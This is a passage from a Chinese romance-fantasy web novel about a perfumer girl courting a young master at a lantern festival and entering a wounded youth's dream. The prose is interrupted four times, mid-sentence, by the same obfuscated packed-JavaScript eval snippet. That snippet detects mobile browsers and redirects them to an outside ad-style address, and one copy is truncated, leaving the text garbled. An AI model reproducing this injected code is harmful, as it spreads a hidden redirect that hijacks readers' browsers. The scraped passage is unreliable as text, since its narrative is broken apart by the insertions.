宋云舒哑然失笑:“什么愿望……谁说放着蜡烛许愿就灵了,都是些小姑娘玩闹的把戏,你竟也当真。” 看到顾千芊脸色一沉,宋云舒讪讪闭了嘴。 顾千芊把头别到一边,她的表情带着懊恼的天真:“……哼,我本来就还是小姑娘。” 夜色已深,纸船顺着水流越漂越远,宋云舒惦记着早点回去,不时开口提醒,顾千芊却仍未尽兴,和那些稚气未脱的孩子一起,兴致勃勃的追着纸船走了一路。 宋云舒没法,只能叹着气跟在她后面。 夜灯如昼,到了花灯猜谜的地方,顾千芊又不肯动了,瞧得出神。 “云舒哥哥,那边好热闹,你说我们去猜灯谜,好不好?” “不去。”宋云舒想也不想地回绝。 “为什么?” “你会猜灯谜?”宋云舒揉了揉眉间,有些心累。 “不会。” “不会的话是不能参加的,我们走吧。” “你可以教我呀。”她不肯走,固执的站在原地,眼睛大而明亮。 小美人轻轻一笑。蛾眉婉转,眼尾微挑,白色裙摆微微浮动,恍若芙蓉潋滟沾水开。 心中的拒绝之意到了嘴边又变成了一句“可以”,宋云舒无奈暗想,自己可能真的是鬼迷心窍了。 彩灯与绣旗一路铺到了曲江河畔,车马人流在这街路中缓缓移动,骑着五花骏马的翩翩少年英姿飒爽,与淑女香车擦肩而过,暖风习习悄然拂起车前的幔帐,隐约露出一角艳丽的裙裾。 往前走了不远,看到一个专卖木人彩俑的摊子,摊子旁站了个锦衣少爷,身旁的小淑女正羞答答的执着轻罗小扇半遮住脸,娇声道:“这个彩俑倒很是俏趣。” 这是一种很委婉的潜台词,书上说过,姑娘们看到自己喜欢的物什,若是想要让情郎买单,切不可一拍大腿两眼放光,得矜持体面又恰到好处的点醒对方,不着痕迹的旁敲侧击,若对方是个懂情趣的,定会听明白,若是听不明白……就得使劲多敲几下了。 宋云舒看着她摸着下巴若有所思,问她:“怎么了,你喜欢这个彩俑?” “嗯,到也算憨态可掬。不如……” 下一句“不如我买个送给你”还没说完,顾千芊就将彩俑摊上各个形状的木人买全了一套,打包在袋子里塞给了宋云舒,还大手一挥道要什么尽管说咱不差钱。 宋云舒扛着沉甸甸的袋子:“……” 一圈逛下来收货颇丰,顾千芊男友力爆棚,买东西格外爽快,她刚从一群排队的小丫头中挤出来,抢了两串糖葫芦,又去卖货郎那里拿了个一捏就会惨叫的机关鸡,还有个花里胡哨的鹦鹉羽毛做的毽子——通通都塞给了宋云舒。 宋云舒:你到底是哪里看出来我会喜欢这种蠢萌的东西?问题是为什么我会这么自然的接过来答谢得这么真诚毫无违和感? 我怎么就管不住我的手呢!? 半刻钟前顾千芊严肃对他说:“你在此地不要动,我去买个饼子。” 于是宋云舒认命地呆在原地,托着腮无聊地看着旁边摊位的大爷画糖人。 画的是一只小老虎,张牙舞爪,神气英挺,那威风凛凛的咆哮模样,有几分某人当年叱咤学堂的神韵。 宋云舒毫不留情地咯吱一声,一口咬掉糖老虎半个脑袋,瞧着模样凶悍,味道倒是挺甜。 半刻钟后,果然看到顾千芊从远处利索地跑回来,蹭蹭几步就到他跟前。 哗啦啦重重一声。 顾千芊手抖一下,从窄窄的袖口费力掏出——一个裹着煎饼果子的油皮纸包,香气扑鼻,周边明显可见一圈油渍。 宋云舒眼皮一跳。 顾千芊在他复杂的目光中,地将这个油皮纸包交到他手心,道:“这是我在夜集市上吃了一圈评价风味最佳的煎饼果子,现下这份是好不容易抢到的店家特供独一份,给你。” 她又在袖口怀中口袋里掏啊掏,哗啦啦又是一堆,酥脆的山蔬薄饼、精致小巧的芸豆糕、软糯的松瓤鹅油卷……顾千芊手捧着往前一推,慈爱得如同一位老父亲:“这些都给你。” 满满提着一堆吃食,看着衣袖口油渍,因为洁癖而起了一身鸡皮疙瘩的宋云舒:“……” 宋云舒本以为晚上的惊吓已经够多了,多到他已经表情麻木宠辱不惊,就算顾千芊今晚深情对他唱爱的供养,他也只会心如死水波澜不惊——可没料到,最大的震撼还在后头。 两人散步到秋水河旁一株花苞锦簇的千瓣红桃下,浅红色的花苞挨挨挤挤,似一串艳丽的铃铛,桃花树上被求姻缘的姑娘们系满了飘扬的细红线,遥遥望去,被夜风轻拂,似红衣美人独舞的裙摆流苏。 “给你个惊喜。”顾千芊眨眨眼,纤细的手一动,拿出一个装着香粉的绣花锦囊。 妙香师少女微微抬手,不紧不慢的散落锦囊里的绯色香粉,好似画一幅画,以天幕为纸,以夜色为墨,半空中流淌开浅浅的一撇画痕。 缭绕的香粉行云流水般,在胧胧夜幕中晕染开,聚拢消散,空中弥漫开奇异的甜香,勾勒出浅绯色的垂枝桃,灿金色的蛱蝶,眼前徐徐绽开一幅巨大的画卷。 顾千芊握着香囊的指尖一抖,大半香粉溢出,半空中陡然盛开大朵大朵虚浮的桃花,似盏盏透明绚丽的花灯,瞬间盛开,不多时又缓缓凋零,泛着莹莹光晕的浅色花瓣纷纷扬扬飘落,发光的金色蛱蝶穿梭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107045|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于花中,纤巧的翅尖划过夜幕,不时落下细碎的金粉残影。 皎皎月色下,秋水河旁的千瓣桃树所有闭拢的花苞在一刻同时绽放,浅红绯红艳红的重瓣桃花浓丽而耀目,远望桃木的朦胧花影如云烟里晕开了晚霞,静夜沉沉,浮光霭霭。 就好似在舞榭楼台下屏息期待时,琴音骤起,原本静默于台榭上的绯衣舞姬踏着琴音轻扬水袖,裙摆旋转那刻猝不及防撞入眼底的惊艳。 凋落的桃花瓣在地上铺上了一层薄薄的光毯,人一走动,裙摆带动着几瓣桃花离空,清雅的花瓣渐渐消散成数点莹光。 宋云舒伸出手,一朵浮空的桃花飘落在掌心,蓦地消散成了细碎光影,几只幻蝶在身畔回旋飞舞,他屏住呼吸探手一抓,却被它轻巧避开。 这丫头,倒是比自己想像中的还要让人惊讶,不仅能靠幻香让桃花瞬间绽放,还能以香为墨以天为纸,将花雨幻景铺满整个芜城。 城内过节的女郎们兴奋不已,嬉闹着看着满天的花雨幻境,感慨:“咱们运气真好啊,不知道是哪位妙香师为了哄心上人开心,造出这样美轮美奂的香境,哇,好羡慕啊!” 顾千芊兴奋地转着圈,试图让更多的花瓣飘起来,有数只金色蛱蝶聚成一个发光的花环,慢悠悠的飞过来,再稳稳的落到她头上。 她小心翼翼的掀开一点眼皮往上瞧,生怕动作幅度太大会吓跑这些琉璃似的蝶灵。 宋云舒帮她摆正了花环,有一只金色蛱蝶敛了翅停驻在她的指尖,大朵大朵的桃花在她身侧绽放凋零,半透明的流金蝶在她指尖重新展翅飞舞。 美的不是花雨,而是花雨中含笑的少女。 宋云舒承认:心跳漏了一拍。 然而顾千芊露出一个邪魅的笑容:“怎么样,满意你所看到的吗?” “我要让整个芜城知道,这片香境,被你承包了!” 宋云舒:你给我闭嘴! 他听到了心头小鹿被啪叽撞死的声音。 一阵诡异的沉默。 顾千芊突然伤感道:“我曾经不愿相信爱情,宁愿一生与孤独相伴。” “后来我发现,爱情的对立面不是孤独,有时候爱一个人,也是孤独。” 灯火阑珊,少女的侧脸柔软而迷茫,落寞且脆弱,让人恨不得搂入怀中怜惜。 宋云舒承认:此情此景,神女有意,确实适合花前订终身,松下系同心。 但是—— 你能不能把你的《情话宝典》藏好了再出来背台词啊! 它在你袖口露出来了喂露出来了! 宋云舒心头涌上一阵浓浓的无力感。 他思索了片刻,把顾千芊晚上的所作所为从头到尾捋了一遍—— 从甜甜叫云舒哥哥的青涩小娇羞,到耐心温柔积极示好的多金富婆,到张狂撩人的强硬霸总,到黯然神伤的感情浪子…… 终于发现了哪里不对劲。 她这是搁他这儿玩角色扮演啊? 宋云舒冷笑一声:八百年前我就知道你什么德行,在我面前还敢玩精分,换成别的傻冒估计就沦陷了,可惜你家少爷英明睿智,防线稳固,不吃你这套。 顾千芊将袖口的《情话宝典》往袖口藏了藏,摸了摸鼻尖,有些尴尬:“咳,那个,就想着参考着学一下,看看少爷你喜欢哪种类型的。” 宋云舒一脸洞悉了真相的得意,和及时拆穿她的暗爽,态度十分高傲,朝顾千芊扬了扬下巴:“哦?那依你看,少爷我喜欢哪一种?” 顾千芊皱了皱鼻子,有些苦恼:“少爷好像……貌似都很喜欢啊!” 宋云舒:“不可能!” 等等……好像无法反驳。 他被青涩小娇羞的一声声云舒哥哥哄的随叫随到,被多金富婆的礼物攻势迷的晕头转向,被强硬霸总的邪魅一笑撩的心中发痒,为感情浪子那一瞬的脆弱忧伤心中凄凉。 宋云舒:“……” 11. 梦境(一) 回客栈后,顾千芊一推开门,就看见谢谣正翘着腿坐在椅子上等着她。 谢谣瞥见她嘴角上扬,面露喜色,揶揄道:“呦,有男神陪着,晚上玩的很开心嘛。” 她捏着鼻子故意甜甜道:“云舒哥哥……哎呀,我的顾霸王什么时候讲话这么嗲了?” 顾千芊害羞地捂脸给她来了一记粉拳:“嘻嘻,讨厌。” 谢谣:“……”你这一暴击我都快吐血了就不要装娇羞了好吗?! “很好,看来晚上进展不错嘛。” 狗头军师谢谣:“我帮你打听过了,宋少此人,招桃花的功力比画桃花的功力还高,爱慕他的姑娘们前胸贴后背紧凑着排,能绕着芜城转上一圈再打个蝴蝶结。” “最近的泛滥桃花中,除了那个赠花枝的柳依依,还有个豪掷千金的叶灵娇,叶府娇娇女听过没,就拿个垄断了芜城大半珠宝生意的叶家大小姐。” 邻城西街有个穷苦的孀居老婆婆,顶着个毒辣的太阳摆摊子卖素折扇,无奈几天下来半个铜板也未进账,宋云舒路过见她可怜心有不忍,随手拿画笔在雪白折扇上简单做了一幅画,果然不到半刻钟扇子已被叫卖到百两银子一抢而空,最后被叶府大小姐大手一挥买断。 叶府老爷出了名的吝啬小气,平时亏个半两银子也要捂紧心头疼个半天,这次竟被女儿说动心甘情愿大出血,所谓色令智昏陷得够深。 谢谣眼泛泪花:“百两银子啊!够我买下绝版未删减玉堂春全集……就买区区一把纸做的破扇子!可恨的贫富差距!” “情敌众多,进攻艰难。喜欢这种事情,说有什么用,不过动动嘴谁不会啊,你得做一些与众不同的事情,才能吸引他对你刮目相看!” “爱是要做出来的!你懂吗!” 顾千芊老脸一红,结巴道:“做、做……什么爱?你是让我今天晚上……” 谢谣:“……”不我真不是这个意思,你满脑子里都是些什么黄色废料? “说点正经的。寤寐阁在芜城开张不过短短五年,就已跻身城中四大香坊,甚至和天香殿的各大香师都有结交。它的少东家宋云舒少爷财力雄厚,为人低调奢华,背景成迷,来头肯定不小。” “你进了寤寐阁做香师,赚银子是快很多,但平时一定要多个心眼啊,小心被人卖了。” 顾千芊挠头:“我觉得少爷人很好啊,像是那种不食人间烟火的,视钱财之物为虚空大梦的贵人。” 谢谣将两手笼在袖间默了默:“我觉得,你的男神滤镜太重了,可能根本不了解他。” 顾千芊指指自己:“你的意思是,他也有可能是看上我了?” 谢谣再次默了默,问:“你知道为什么有些姑娘觉得自己长得不错性格也还可以,按理说应该畅销却一直单身么?” “为什么?” “那是因为她们都没有正确的认识好自己。”谢谣从怀中掏出个小镜子,递给她:“来,正确的认识一下你自己。” “……” *** 寤寐阁在芜城城东最繁华的一条街上,是城中最大的香铺之一,店铺十分显眼,清漆檀木大门大开,店堂宽敞明亮。 一进大门,是一排供客人试香所用的长排单间,柜格均是香檀木雕成,博古架上摆的各种造型各种材质的香炉,香料格中全是各种香品,香粉、香泥、香丸、香块、篆香、线香……整整齐齐,琳琅满目。 本该是百香混杂,正中一尊落地错银梅花纹三足铜炉,炉中氤氲出丝丝烟气,一股凛冽清澈的幽幽静香飘出,将那百香的味道都压了下去,让人褪去浮躁,心旷神怡。 宋云舒好奇道:“这是什么香?” 店里的伙计答道:“少爷,这是咱们新来的妙香师,顾姑娘调的新香,名曰傲雪,冰雪林中著此身,不同桃李混芳尘,只要有此香在,其他香都会被压下去。” 宋云舒满意地点点头。 顾千芊最近很忙。 她新入寤寐阁做香师,自然想着在宋云舒面前好好表现,一有空他便躲在寤寐阁里一个小小的香室里,鼓捣她的香料。 少女面前堆满了各种乱七八糟的香材,还有大小不一的瓶罐和碗叠,里面放了些不知名的物事,有的像是枯草根,有的像剥下的树皮,还有的黏糊糊像是蜂蜜。 “百和香。沉水香五两,薰陆香、白檀香、炭末各二两,零陵香、藿香、青桂香、白渐香、青木香、甘松香各一两,苏合香、安息香、麝香、燕香各半两……” 她一边嘟囔着,手下的动作飞快。 二十味末之,酒洒令软,再宿酒气歇,以白蜜和,放入瓷器中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107046|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜡纸封,勿令泄。 顾千芊很专注,她的头发简单地束在脑后,小巧的鼻尖上凝上了水滴,脸额头上的汗滴顺着脸颊落下来了,也浑然不觉。一张小脸被热气熏得红扑扑的,像晕了层胭脂。 宋云舒推门而入的时候,看到的便是这样一幅忘我工作的画面。 同意她来寤寐阁当香师是私心报复,宋云舒有意折腾她,一开工便给她派了一堆的调香任务,想让她感受下社会的毒打,打工人被剥削的艰辛与痛苦。 不过看她现在,似乎反而乐在其中,看到她眼角下累出的黑眼圈,宋云舒心头莫名地生出一丝诡异的懊悔。 这丝懊悔在顾千芊看到他,一脸开心地递上香囊时,感觉更强烈了。 宋云舒拿着顾千芊送他的小香包,问:“这里头装的是什么香?挺好闻的。” 顾千芊一脸狗腿:“有晒干的丁香花,还有雏菊和枣花,可以提神醒脑,清心振神。少爷若是不喜欢这个香饼的味道,我还可以换一种,包君满意。” 宋云舒晃了晃那个香囊,很是满意。 “不错,表现得很好,这个月给你涨工钱。” 顾千芊搓了搓手:“少爷,你送我个回礼呗。” 宋云舒有些好笑:“你想要什么?” 顾千芊想起情敌叶灵娇那把百金的涂鸦扇,正色道:“我要一把画扇。” 三日后,顾千芊收到了宋云舒的回礼——一把檀香木折扇。 她迫不及待地打开,扇面上绘着几株清雅的粉色樱花枝,微绽的花苞迎着光一晃,忽而水波般流动起来,细笔描绘的枝桠上,粉色的樱花瓣碎碎的飘落,从扇子的褶缝中飘飘摇摇飞舞而出,一瞬透明地在光影中变幻着颜色。 “……咦!幻香粉?”扇面上飘落的虚幻花瓣凝在半空,她惊讶的瞪圆了眼睛。 她轻巧一摇,原本绘在扇面上的花苞陆续绽放,香气淡淡,最后凝成一幅静态的樱花林图。而另一扇面则写着一句诗,落字清癯:纸窗弄色如胧月,又了浮生一夜眠。 “啪”一声轻响,她收起了扇子,在空中划出一条淡色流光。 这是模仿上巳那日的幻香境,在扇面上点缀了香粉作画啊,少爷真是有心了。 顾千芊低低笑出声来,抱着扇子在床上滚来滚去,一脸满足的甜蜜。 12. 梦境(二) 废寝忘食地调了三日香,终于完成了任务,寤寐阁暂时不缺香品,宋云舒给顾千芊放了一天假,一大早她就被谢谣拉去逛城景散心。 两人就近走进一家湖边的茶阁歇坐片刻,简单无华的绿茗居坐无虚席,有人来此是为了这清茶解渴,也有人只为了高台上茶博士那一张爽直风趣的快嘴。 烟雨蒙蒙的日子,湖面被笼在细密银线一般的雨帘中。 未霁湖这名字的缘来,正是因为这一湖一亭的景致,尤在雨雪过后天色将晴未晴时最美。湖光水色,视线正中的湖心亭影影绰绰,轻纱半遮美人面,只得一缕飘渺的影子。 据说当年未霁湖这边还是片荒凉的空地,只有几株碗口粗的歪树。 后来芜城公输家积极响应政府号召,派了机甲兽硬生生挖出这么一片湖,扶持当地旅游业运转,改善生态环境,满足了人们日益增长的物质和文化的需要,进而推动社会生产力蓬勃发展,居民们喜大普奔过上和谐富足的小康生活…… 这机甲兽嘛,她在师父的傀儡图本中见到过,皆是铜造铁打的巨无霸,印象最深的是一只重瞳大鸟,公输家最负盛名的机关傀儡金翅龙雀,威风凛凛,传闻鸣声震林,挥翅可遮日月…… 这个说书人衣襟紧束宽脸阔眉,外表端正的像个死板的老学究,道来八卦轶闻却是头头是道毫不含糊,一出口便能带动众听客的满腔兴致,将今朝众风流人物熟络的如同自己掌心的纹路。 “言念君子,温其如玉。振振公子,于嗟麟兮……”有说起当今京城内最受贵女圈青睐的黄金单身汉之一,煜王殿下是位完美佳郎君,风姿翩翩,文武双全,只是煜王殿下身份尴尬,论起辈分算是当今圣上的皇弟,皇家向来亲缘寡淡,因着生母又是出身南滇国的柔妃,可惜了一身才华,却从不为圣上所喜。 只有闲的无聊的人才会哪壶不开提哪壶,而世上最不缺的是闲人,皇宫里最不缺的就是不开的壶。 说书人论及此处哗的一声收了折扇,皇室间的爱恨纠葛正如墙角阴湿处的藤蔓系枝,一样见不得光,一样错综复杂,岂是我们这些俗人能揣摩的,闲来当个喝茶嗑瓜子时的佐料,也无需辨其真假。 又说起二十余年前,关于玉姬夫人那一段段沸沸扬扬的风月往昔。 当年她可是芳名远扬的南滇国第一美人,凭借过人的美貌和手段艳压六宫,此女擅长妙香术,天生会洞察人心,为了权势和地位不择手段,心肠狠辣。 因着倾城之色,无数男人前赴后继心甘情愿扑进她的鱼塘。据说她和当年宋相的儿子宋淮衣,也有过说不清道不明的暧昧。可叹宋淮衣一生温文尔雅清风高节,唯一的污点便是栽倒在玉姬夫人这个美人关。 坊间有画师以此为艺术原型,改编创作了画本集《虚花悟》,很是火了一阵,赚了不知多少痴情男女的眼泪。 惊堂木敲在木桌上啪的一声脆响,老说书人端起茶盏润了润嗓子,方才说多了甜的酸的儿女情长缠绵悱恻,索性在脑海中荡开一笔,他肃了肃面容,将与方才截然不同的,大漠孤烟金戈铁马般的辛辣豪迈娓娓道来。 “……话说二十年前南滇国与咱们珩国那一战,那南滇国士兵果真凶悍异常,直杀得驻境军连连溃退毫无残喘之力,十三道紧急军报连夜入京,众大臣联名上奏,圣旨当即至公输家昭告,家主公输靖奉旨亲征西下!……公输家机甲兽所到之处势如破竹,直打的南蛮们措手不及左右支绌,仓皇逃窜如山洪倾泻……” 说书人激情洋溢正谈及精彩处,顾千芊一抖擞支楞起耳朵细听,不知不觉听着入了神,前面的篇幅大半是各种正面侧面赞慕公输家家主公输靖,称他在南滇国一战中如何英明神武,机甲兽如何霸气无敌,追随者如何心服口服,敌人凄惨无比,前途相当光明…… 而在为人感慨万千的英雄故事里,英雄式的开头往往都接着个英雄式的结尾,美人总会陷点情伤,英雄总会栽点跟头,而公输绍栽的是个要命的大跟头,祸因是一个美人,妙香师美人胧月夜。 被打的凄惨的南滇国暗地里筹划了小九九,明的不行就来阴的,相传南滇国花重金收买了天香殿的大香师胧月夜,用幻香术控制了总监军大臣武安侯。 武安侯本就是个草包,在幻香术的控制下,被南滇国的细作哄骗的晕头转向,当时的建元帝昏庸无能,总将军郭绍又是个只重钱财女色的窝囊废,机密的军事被拖延错判,战况开始急转而下。 最令人震惊的是公输靖竟怒而斩下郭绍的头颅,下属斩上将本是死罪,而英雄许是孤注一掷,宁愿坦荡赴死也不愿憋屈于世。 公输靖带领前方大军往落日城死战,不见援兵不见粮草坚持了整整半月,最终在四方夹击孤立无援的劣势下全军覆没。而英雄最后的结局是在乱箭中大笑一声,慨然赴死。 而妙香师胧月夜,在那一战后便悄然消失了,离开了天香殿,至今无人知晓她的踪迹。 顾千芊和谢瑶惊的打翻了手中的茶盏,两人面面相觑,胧月夜!? 难道就是她们认识的那位大香师,楚恪的师父!? “噩耗传到公输家时,族人弟子悲愤之余立誓定要助战大败南滇国,以胜利和罪魁祸首之死来祭奠公输家的英灵。”……南滇国之战最终在五皇子萧湛领军后以胜利告终,可那四万英魂终是葬了他乡孤冢。 说书人长叹一声,言语间皆是惋惜。 “不管怎样,公输家立的血誓族人必须履行,现任公输家家主公输誉终究是因此战年幼丧父,战后失踪的那个传奇妙香师胧月夜,算是他……也是整个公输家不共戴天的仇人。” 台下叽叽喳喳又聊起关于大香师胧月夜的野史、折子戏、坊间同人话本……传说不少,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107047|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她是独自挑一处杳无人烟的雪山深处隐居,甚至有人说她是痴情女子,被某位温柔公子打动,在情郎死后殉情而去。 在匪夷所思的同人小说里,有的将她塑造成一个血腥暴力的女魔头,有的将她塑造成一个温婉可人的小娇羞,一千个读者心中就有一千个胧月夜,只要你想的到就不会写不到,人民群众的想象力果然无穷。 顾千芊和谢瑶对视一眼,表情复杂。 难道楚恪师父胧月夜的事情,和公输家有关系? *** 天还未亮,宋云舒就派了小厮过来找顾千芊,说有要事,她赶紧囫囵洗漱好,急匆匆赶到寤寐阁。 一串镂空雕琼花的银色引梦铃静静悬在床头,是西市常见的工艺品,芜城民间相传把引梦铃挂在床头可以招来好运,保佑美梦安稳渡走噩梦。 床上躺着个年轻的黑衣少年,面色苍白眉头紧皱,额间泛起一层薄薄的冷汗,毫无血色的唇被咬出一道血印。 黑衣少年——竟然是楚恪! 宋云舒看到顾千芊一脸震惊,迟疑着问:“你们……认识?” 顾千芊叹口气,简单地将事情的前因后果,向宋云舒叙述了一番。 “这位少年……是叫楚恪,其实是我们的朋友,我们这次出门原本的目的,也是为了帮他查明一些事情,没想到误打误撞,这么快就遇上了。” 楚恪不知是受伤疼痛还是被噩梦魇住,总之明显睡的不安宁。 本还想着攒点钱,向宋云舒打听如何去揽月峰,现下到是不用了,她们要找的楚恪,竟然正是宋云舒所托请她们救助的少年。 宋云舒放下床帘,看向一旁的顾千芊,揉了揉眉心:“那日我看到他与公输家的手下在澜江旁厮杀,他中了幻香术负伤坠江,等我从江边救下他时,就是这般昏迷不醒,已整整一日了。” “少爷,你认识他的师父?” “他师父胧月夜,天香殿嘉月殿的大香师,曾和寤寐阁合作过,既是故人之徒,我不能袖手旁观。” 宋云舒一脸忧色:“让你一大早赶过来,就是为了此事,现下楚恪溺于梦魇无法脱身,你是妙香师,得麻烦你助他从幻梦中醒来。” 顾千芊拍拍胸膛:“少爷你放心,就让我进入到他的香境中,把他给叫醒!” 幻香可以造出美梦,宁香可以麻痹痛意,顾千芊费了些时日,调出了安息宁神的香丸长忆,将香丸放入床畔的长柄博山香炉中,博山香炉升腾的轻烟袅袅,飘摇至境,倏忽散迹无痕,如不可捉摸的浮空一梦。 床上的黑衣少年自香雾袅绕后面色舒缓不少,似是沉沉睡去。 顾千芊百无聊赖,伸了个懒腰,趴在茶桌上,眼皮开始打架,头如捣蒜一点一点,万事皆可抛,只为周公邀,视线开始模糊,思绪飘去很远,她不知不觉已沉入了梦乡。 13. 梦境(三) 长忆。在长忆的香气虚化出来的梦中,可以让人看到最怀念的人。 同时中幻香术中的另一人,可以清晰地经历对方的梦境。一支香,两个人,同一场梦。梦过无痕,香去无踪。 顾千芊被幻香所引,进入楚恪的梦境中。 她张望了下四周,看这景色,约莫是初春时节。 层层的山石台阶碧藓湿凉,沿着石阶两畔是白色的株株樱花,风拂花浪,落英缤纷,千樱一片香雪海。花开的正盛,又似要瞬间凋零,远远望去,繁华满树,似雪非雪胜雪。 樱树虬枝上闲闲躺着个白衣女子,披发赤足,迤逦张扬,独有惑人的风情。 树下有个圆脸少年皱眉看着散了一地的酒壶,微微仰起头,神色认真道:“师父,你又喝那么多酒。” 白衣女子微微眯起了带着醉意的眼,拢了拢在夜风中飘扬的长发:“酒是好物啊,醒时尘埃障目,荣华枯骨,醉里万般可抛,南柯一梦。” 她玉雕似的指尖一挑,樱花瓣打着旋儿悠悠飘落,轻巧的啪一下拍在少年的额头:“楚恪你还小,没事总叹什么气。长者为尊,要管也是我来管你。” 楚恪苦着一张脸:“醉酒误事,我自然要管你的。” 女子轻轻一笑:“还是小时候的你可爱,是个嘴甜讨好拎着酒壶帮忙打酒的小不点,不想长大后,却成了管教我少喝酒的苦瓜脸?” 前方传来莫名的嘈杂声响,雀鸟被惊得扑棱起翅膀,樱花雨惊的簌簌而落。 白衣美人循声而去,立在樱花树枝头,看到地上昏着个被绳索束缚住手脚的男子,围着他的几个大汉正在用铁锹翻开杂草下的泥土,待细看,男子还有微弱的呼吸,脸色苍白,身着名贵的黑色冰绸,墨袍边绣着公输家的家徽龙雀,身份显然不凡。 大门大户光鲜的铜门背后隐藏着多少数不胜数的秘辛,嫡庶之争后的失败者,为保家族颜面暗处处理掉的私生子,或是劫匪挟持贵公子未得到满意的赎金而撕票,楚恪脑子还在兜兜转转猜测各种可能性,却见他师父眼睛一亮,有点恶作剧意味的挑眉一笑,她许是醉的不清,眼波泛着一层蒙蒙的迷雾: “恰好戴着这张画皮,闲着无聊,心痒着想去骗骗人,不妨照着前几日看的那幕戏演一出英雄救美,如何?” 对方察觉到声响,一记暗镖飞来,女子一扬袖,毒镖陡然间偏了飞行方向,似一道闪电眨眼掠过,叮的一声直直钉入不远处的一株樱木。 清凌凌的笑声,似莲叶上的露珠乍落碧湖,漾开一圈波纹,突兀的响在这空寂的梨林中。 楚恪来不及惊呼阻拦,云翳笼聚,遮住了晴日的光辉,女子轻轻一笑,樱花簇间飘过一片白色的衣角,素影快的另人看不清,是夹杂了灰烬般的冷梅香,手持铁锹的几个大汉等不及反应便已接连倒下,均是被幻香迷晕。 白衣女子站在樱树梢头,姿态高傲孤冷,妆容精致妖媚,翩然飞下的倩影却如芊芊白鹤,她微微躬下身看清了倒地男子的面容,轻佻的抚了抚唇角:“到是个挺俊的郎君。” 起身一扬白色的衣袖,如蛊惑人心的幽艳素蝶。余下的大汉看清女子面容后皆是惊恐:“幽娘子?”她唇角抿起一个微妙的弧度,冷冷道:“这郎君是我看上的猎物,既知道了,还不快滚。” 臭名昭彰的妙香师幽娘子有各种匪夷所思的传闻,譬如用年轻少女的鲜血调香,制作幻香迷晕看中的美貌少年等等,手段阴险毒辣。 众人面面相觑,任务是毁尸灭迹,而他到了幽娘子手中怕也是凶多吉少,目的已达成。或是心下悚然,便也不再追究,低低喊了一声“撤”,一行人消失在沉沉夜色。 确认杀手们都已撤远,白衣女子蹙眉抬手拂开发间的落叶,习习微风挑起她几缕青丝,裙袖顺着她的动作滑下,露出一段凝霜般的皓白手腕。 她懒懒道:“比预想的还要顺利。迦灵送我的画皮面具果真天衣无缝,真是无趣,本以为还能打上一架。” 她仰头轻扯下脸上的面具,纤秀的眉,长长的睫羽下略挑的凤眼,额间的勾玉辉映着幽幽的光,白色的花雨,白衣的美人,浅色的樱花飘落至她长至脚踝的发间,美似月,也冷似月。 幽娘子的容貌是俗艳中多见的风情,是市井常见的红蜀葵花;而这张好皮囊,确实当得上倾世之姿四个字,是不可多得的素莲白雪。 少年在心中嘀咕不已,师父素来活的自在逍遥,做事随着自己性子,想到了,便去做,时而浓烈飞扬,时而沉静如霜,最是猜不透。 她心情好时可以撑着伞在绵密春雨中站上一天一夜,只为护着一株初绽的垂丝海棠,不让艳丽脆弱的花早早凋零;有次兴致来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋内的摆设都是不变的模样,提醒她方才所见所闻只是场虚无的幻梦,而楚恪正和先前一样合衣躺在床上,依旧稳稳的睡得很沉。 四面帘幔被松松挽起,已是傍晚时分,窗延溜进几缕柔软霞光,顾千芊深吸一口气,飘来的凉风似乎有沁人的樱花香。 14. 香境(一) 楚恪终于从梦中醒来。 黑衣少年虚弱的倚靠在床头,面容依旧苍白如纸,手里端着大夫刚熬好的汤药,神色恹恹,他抬眼看见宋云舒和顾千芊,手中握着的药勺一顿。 “宋少爷……” “千芊老大……” 宋云舒在床边坐下,低低道:“楚恪,你知道……你师父胧月夜现在何处吗?” 桌案上燃着的昏黄烛火哔啪一声,光影在楚恪脸上深浅不一,勾勒出几分隐忍的悲伤。 南滇国大战中坏了大事的妙香师胧月夜,战后便消失了踪迹,当年见过胧月夜真容的人不过寥寥,遂也少有人知晓她一直隐居在揽月峰。 揽月峰是胧月夜亲自修筑的隐居之地,遍布重重幻香陷阱,出去不容易,进来更不容易,胧月夜闲来无事除了调香就是喝酒,还收了个年幼的徒弟。 